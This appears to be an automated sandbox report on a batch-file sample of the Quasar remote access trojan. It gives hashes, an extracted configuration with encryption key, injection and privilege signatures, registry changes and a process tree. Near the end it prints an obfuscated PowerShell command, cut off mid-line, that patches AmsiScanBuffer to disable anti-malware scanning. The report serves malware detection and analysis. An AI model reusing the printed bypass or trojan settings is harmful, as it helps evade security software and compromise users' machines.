quasar | 7fca260b4dbeac5ef0255577b3502e6658ca6661f80ad9583673f656c3e67a64

Analysis

max time kernel
139s
max time network
92s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
31-05-2024 22:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

$sxr-Uni2.bat
Size

796KB
MD5

03137a8d9aaa39d4266d6cafecc5ccb2
SHA1

65ab5f05615d7aeb12a8f64f2339af341172784d
SHA256

7fca260b4dbeac5ef0255577b3502e6658ca6661f80ad9583673f656c3e67a64
SHA512

a950fe4fcee799aec313c08dc93535f0af463ab3953fb054288230ed30099ff98de5e12a6485e35a11a90a1f41c3043f5270274d29de7ed25c98356015084226
SSDEEP

12288:sJOiyoo1m8Y8HvatsI8a0XNQ7UCPWa/9SC+KSXs+kYWjJ4rT+/mq6z4Q4uatxyG:sciyK8YzJ8BwUCPTwC+KysEWjG+D6l4b

Score

10^/10

quasar slave execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

Slave

127.0.0.1:4782

Mutex

$Sxr-mRtuuIZppUEbmX171W

Attributes

encryption_key
s5xN6p335pnxD0WJMnnQ
install_name
$sxr-powershell.exe
log_directory
$sxr-Logs
reconnect_delay
3000
startup_key
Powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4116-80-0x0000000007770000-0x00000000077DC000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 5104 created 636 5104 powershell.EXE winlogon.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

2 4116 powershell.exe
3 4116 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2096 powershell.exe
4116 powershell.exe
4560 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

ResetSurvival.exeInstall.exe

pid process

4544 ResetSurvival.exe
4840 Install.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com

description	pid	process	target process
PID 5104 created 636	5104	powershell.EXE	winlogon.exe

flow	pid	process
2	4116	powershell.exe
3	4116	powershell.exe

pid	process
2096	powershell.exe
4116	powershell.exe
4560	powershell.exe

pid	process
4544	ResetSurvival.exe
4840	Install.exe

flow	ioc
1	ip-api.com

Drops file in System32 directory 5 IoCs

Processes:

powershell.EXEsvchost.exeOfficeClickToRun.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 5104 set thread context of 4328 5104 powershell.EXE dllhost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 5104 set thread context of 4328	5104	powershell.EXE	dllhost.exe

Modifies data under HKEY_USERS 55 IoCs

Processes:

powershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={885A7A87-AB63-4A76-A8D1-34BE6C1ED385}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1717195071"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Fri, 31 May 2024 22:37:52 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exe

pid	process
4560	powershell.exe
4560	powershell.exe
2096	powershell.exe
2096	powershell.exe
4116	powershell.exe
4116	powershell.exe
5104	powershell.EXE
5104	powershell.EXE
5104	powershell.EXE
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe
4328	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3320 Explorer.EXE

pid	process
3320	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeIncreaseQuotaPrivilege	2096	powershell.exe
Token: SeSecurityPrivilege	2096	powershell.exe
Token: SeTakeOwnershipPrivilege	2096	powershell.exe
Token: SeLoadDriverPrivilege	2096	powershell.exe
Token: SeSystemProfilePrivilege	2096	powershell.exe
Token: SeSystemtimePrivilege	2096	powershell.exe
Token: SeProfSingleProcessPrivilege	2096	powershell.exe
Token: SeIncBasePriorityPrivilege	2096	powershell.exe
Token: SeCreatePagefilePrivilege	2096	powershell.exe
Token: SeBackupPrivilege	2096	powershell.exe
Token: SeRestorePrivilege	2096	powershell.exe
Token: SeShutdownPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeSystemEnvironmentPrivilege	2096	powershell.exe
Token: SeRemoteShutdownPrivilege	2096	powershell.exe
Token: SeUndockPrivilege	2096	powershell.exe
Token: SeManageVolumePrivilege	2096	powershell.exe
Token: 33	2096	powershell.exe
Token: 34	2096	powershell.exe
Token: 35	2096	powershell.exe
Token: 36	2096	powershell.exe
Token: SeIncreaseQuotaPrivilege	2096	powershell.exe
Token: SeSecurityPrivilege	2096	powershell.exe
Token: SeTakeOwnershipPrivilege	2096	powershell.exe
Token: SeLoadDriverPrivilege	2096	powershell.exe
Token: SeSystemProfilePrivilege	2096	powershell.exe
Token: SeSystemtimePrivilege	2096	powershell.exe
Token: SeProfSingleProcessPrivilege	2096	powershell.exe
Token: SeIncBasePriorityPrivilege	2096	powershell.exe
Token: SeCreatePagefilePrivilege	2096	powershell.exe
Token: SeBackupPrivilege	2096	powershell.exe
Token: SeRestorePrivilege	2096	powershell.exe
Token: SeShutdownPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeSystemEnvironmentPrivilege	2096	powershell.exe
Token: SeRemoteShutdownPrivilege	2096	powershell.exe
Token: SeUndockPrivilege	2096	powershell.exe
Token: SeManageVolumePrivilege	2096	powershell.exe
Token: 33	2096	powershell.exe
Token: 34	2096	powershell.exe
Token: 35	2096	powershell.exe
Token: 36	2096	powershell.exe
Token: SeIncreaseQuotaPrivilege	2096	powershell.exe
Token: SeSecurityPrivilege	2096	powershell.exe
Token: SeTakeOwnershipPrivilege	2096	powershell.exe
Token: SeLoadDriverPrivilege	2096	powershell.exe
Token: SeSystemProfilePrivilege	2096	powershell.exe
Token: SeSystemtimePrivilege	2096	powershell.exe
Token: SeProfSingleProcessPrivilege	2096	powershell.exe
Token: SeIncBasePriorityPrivilege	2096	powershell.exe
Token: SeCreatePagefilePrivilege	2096	powershell.exe
Token: SeBackupPrivilege	2096	powershell.exe
Token: SeRestorePrivilege	2096	powershell.exe
Token: SeShutdownPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeSystemEnvironmentPrivilege	2096	powershell.exe
Token: SeRemoteShutdownPrivilege	2096	powershell.exe
Token: SeUndockPrivilege	2096	powershell.exe
Token: SeManageVolumePrivilege	2096	powershell.exe
Token: 33	2096	powershell.exe
Token: 34	2096	powershell.exe
Token: 35	2096	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

powershell.exeMiniSearchHost.exe

pid process

4116 powershell.exe
2800 MiniSearchHost.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

RuntimeBroker.exe

pid process

3980 RuntimeBroker.exe

pid	process
4116	powershell.exe
2800	MiniSearchHost.exe

pid	process
3980	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 1360 wrote to memory of 4560	1360	cmd.exe	powershell.exe
PID 1360 wrote to memory of 4560	1360	cmd.exe	powershell.exe
PID 1360 wrote to memory of 4560	1360	cmd.exe	powershell.exe
PID 4560 wrote to memory of 2096	4560	powershell.exe	powershell.exe
PID 4560 wrote to memory of 2096	4560	powershell.exe	powershell.exe
PID 4560 wrote to memory of 2096	4560	powershell.exe	powershell.exe
PID 4560 wrote to memory of 1108	4560	powershell.exe	WScript.exe
PID 4560 wrote to memory of 1108	4560	powershell.exe	WScript.exe
PID 4560 wrote to memory of 1108	4560	powershell.exe	WScript.exe
PID 1108 wrote to memory of 3772	1108	WScript.exe	cmd.exe
PID 1108 wrote to memory of 3772	1108	WScript.exe	cmd.exe
PID 1108 wrote to memory of 3772	1108	WScript.exe	cmd.exe
PID 3772 wrote to memory of 4116	3772	cmd.exe	powershell.exe
PID 3772 wrote to memory of 4116	3772	cmd.exe	powershell.exe
PID 3772 wrote to memory of 4116	3772	cmd.exe	powershell.exe
PID 4116 wrote to memory of 4544	4116	powershell.exe	ResetSurvival.exe
PID 4116 wrote to memory of 4544	4116	powershell.exe	ResetSurvival.exe
PID 4116 wrote to memory of 4840	4116	powershell.exe	Install.exe
PID 4116 wrote to memory of 4840	4116	powershell.exe	Install.exe
PID 4116 wrote to memory of 4840	4116	powershell.exe	Install.exe
PID 5104 wrote to memory of 4328	5104	powershell.EXE	dllhost.exe
PID 5104 wrote to memory of 4328	5104	powershell.EXE	dllhost.exe
PID 5104 wrote to memory of 4328	5104	powershell.EXE	dllhost.exe
PID 5104 wrote to memory of 4328	5104	powershell.EXE	dllhost.exe
PID 5104 wrote to memory of 4328	5104	powershell.EXE	dllhost.exe
PID 5104 wrote to memory of 4328	5104	powershell.EXE	dllhost.exe
PID 5104 wrote to memory of 4328	5104	powershell.EXE	dllhost.exe
PID 5104 wrote to memory of 4328	5104	powershell.EXE	dllhost.exe
PID 4328 wrote to memory of 636	4328	dllhost.exe	winlogon.exe
PID 4328 wrote to memory of 692	4328	dllhost.exe	lsass.exe
PID 4328 wrote to memory of 988	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 436	4328	dllhost.exe	dwm.exe
PID 4328 wrote to memory of 540	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 752	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1048	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1084	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1116	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1132	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1184	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1268	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1300	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1380	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1476	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1520	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1540	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1664	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1704	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1716	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1772	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1876	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1888	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1900	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1988	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 1264	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 2156	4328	dllhost.exe	spoolsv.exe
PID 4328 wrote to memory of 2324	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 2404	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 2584	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 2592	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 2652	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 2748	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 2760	4328	dllhost.exe	sysmon.exe
PID 4328 wrote to memory of 2780	4328	dllhost.exe	svchost.exe
PID 4328 wrote to memory of 2816	4328	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:636

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:436

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{76fec158-3cf6-4507-b351-4baeb77c48df}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4328

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1084

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:lMHsLrzxgSBo{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$FWIDdPpYOZOBBV,[Parameter(Position=1)][Type]$jmRMLzLGIO)$FGBXrECNqqz=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+'fl'+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'at'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+'M'+'e'+''+[Char](109)+''+[Char](111)+''+[Char](114)+'yMod'+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+'yp'+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+','+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'e'+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+'A'+[Char](110)+''+'s'+''+[Char](105)+''+'C'+'l'+[Char](97)+''+'s'+''+[Char](115)+''+','+'Au'+'t'+''+'o'+''+'C'+''+[Char](108)+''+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$FGBXrECNqqz.DefineConstructor('R'+[Char](84)+'Sp'+[Char](101)+''+[Char](99)+''+'i'+''+'a'+'l'+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$FWIDdPpYOZOBBV).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+'n'+[Char](97)+''+'g'+'ed');$FGBXrECNqqz.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'Hid'+[Char](101)+''+[Char](66)+'yS'+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+'V'+'i'+[Char](114)+''+'t'+''+[Char](117)+'al',$jmRMLzLGIO,$FWIDdPpYOZOBBV).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+'e,'+[Char](77)+''+'a'+''+'n'+'a'+[Char](103)+''+'e'+'d');Write-Output $FGBXrECNqqz.CreateType();}$yPmlWBlAIUCfp=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+'e'+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+'icr'+[Char](111)+''+'s'+''+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+'Wi'+[Char](110)+'3'+'2'+'.'+[Char](85)+''+[Char](110)+'s'+[Char](97)+'f'+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+''+'h'+''+[Char](111)+'ds');$GQwvwMQztSxHGo=$yPmlWBlAIUCfp.GetMethod('G'+[Char](101)+'t'+[Char](80)+'r'+[Char](111)+'c'+[Char](65)+''+[Char](100)+'d'+[Char](114)+'e'+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+'c,S'+[Char](116)+''+[Char](97)+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$zpqfslpQFvCAWeBaQOZ=lMHsLrzxgSBo @([String])([IntPtr]);$SrMegCPqBbhnDARLTBqccQ=lMHsLrzxgSBo @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$EswBOOGSape=$yPmlWBlAIUCfp.GetMethod('G'+'e'+'t'+'M'+''+'o'+''+'d'+''+[Char](117)+''+[Char](108)+'e'+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+'r'+'n'+'e'+''+'l'+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$FUvkEMzdXErytV=$GQwvwMQztSxHGo.Invoke($Null,@([Object]$EswBOOGSape,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$omYutWbBcsbVLBDLu=$GQwvwMQztSxHGo.Invoke($Null,@([Object]$EswBOOGSape,[Object](''+'V'+'ir'+'t'+'u'+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+'t'+'')));$puYWsbY=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FUvkEMzdXErytV,$zpqfslpQFvCAWeBaQOZ).Invoke('a'+[Char](109)+'si'+[Char](46)+''+'d'+'l'+[Char](108)+'');$aSKoOsdtfiPvXiSow=$GQwvwMQztSxHGo.Invoke($Null,@([Object]$puYWsbY,[Object]('A'+[Char](109)+''+'s'+''+[Char](105)+''+'S'+'c'+[Char](97)+'n'+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$zWEIxhvMKP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($omYutWbBcsbVLBDLu,$SrMegCPqBbhnDARLTBqccQ).Invoke($aSKoOsdtfiPvXiSow,[uint32]8,4,[ref]$zWEIxhvMKP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$aSKoOsdtfiPvXiSow,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($omYutWbBcsbVLBDLu,$SrMegCPqBbhnDARLTBqccQ).Invoke($aSKoOs